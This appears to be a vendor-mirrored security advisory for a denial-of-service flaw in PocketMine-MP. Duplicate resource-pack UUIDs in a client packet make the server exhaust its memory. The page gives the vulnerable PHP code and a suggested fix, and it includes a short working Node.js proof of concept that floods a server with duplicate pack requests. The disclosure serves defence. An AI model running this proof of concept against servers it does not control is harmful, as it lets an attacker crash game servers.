Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-fqqv-56h5-f57g — pocketmine-mp

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-770 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PocketMine-MP ResourcePackDataInfoPacket amplification vulnerability due to lack of resource pack sequence status checking

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket.

PocketMine-MP processes the packIds array without verifying that all entries are unique.

A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.

Severity: High — Remote DoS from an authenticated client.

Details

Relevant code (simplified):

```php

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:

foreach($packet->packIds as $uuid){

$splitPos = strpos($uuid, "_");

if($splitPos !== false){

$uuid = substr($uuid, 0, $splitPos);

}

$pack = $this->getPackById($uuid);

if(!($pack instanceof ResourcePack)){

$this->disconnectWithError("Unknown pack $uuid requested...");

return false;

}

$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(

$pack->getPackId(),

self::PACK_CHUNK_SIZE,

(int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),

$pack->getPackSize(),

$pack->getSha256(),

false,

ResourcePackType::RESOURCES

));

}

break;

```

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix:

Before sending packs:

1. Remove duplicates from the incoming packIds array.

2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.

3. Track which packs have already been sent to this player, and skip any that have already been transferred.

```php

$alreadySent = $this->packsSent ?? [];

// Remove duplicates

$uniquePackIds = array_unique($packet->packIds);

// Detect abuse

if(count($packet->packIds) - count($uniquePackIds) > 2){

$this->disconnectWithError("Too many duplicate resource pack requests");

return false;

}

foreach($uniquePackIds as $uuid){

if(in_array($uuid, $alreadySent, true)){

continue; // Skip packs already sent to this player

}

// existing code...

$alreadySent[] = $uuid;

}

$this->packsSent = $alreadySent;

```

PoC

1. Join a PocketMine-MP server with at least one resource pack enabled.

2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

  • status = STATUS_SEND_PACKS
  • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

```js

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';

const port = 19132;

const username = 'test';

const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID

const DUPLICATES = 1000;

const client = createClient({

host,

port,

username,

offline: true

});

client.on('spawn', () => {

console.log('[*] Sending duplicate pack request...');

client.queue('resource_pack_client_response', {

response_status: 'send_packs',

resourcepackids: Array(DUPLICATES).fill(PACK_UUID)

});

});

```

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

GHSA-fqqv-56h5-f57g is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

GHSA-fqqv-56h5-f57g is recorded against 1 package.

  • pocketmine/pocketmine-mp (fixed in 5.32.1)

Timeline and source

Published on 2 September 2025. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CWE CWE-770
Public Exploit ✅ No
Source OSV
Published 2025-09-02
Updated 2026-08-20
Modified 2025-09-02
Fix URL N/A

Affected Packages

Software From version Fixed in
pocketmine/pocketmine-mp 5.32.1

Site Security Check

Is pocketmine-mp part of your stack?

GHSA-fqqv-56h5-f57g is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.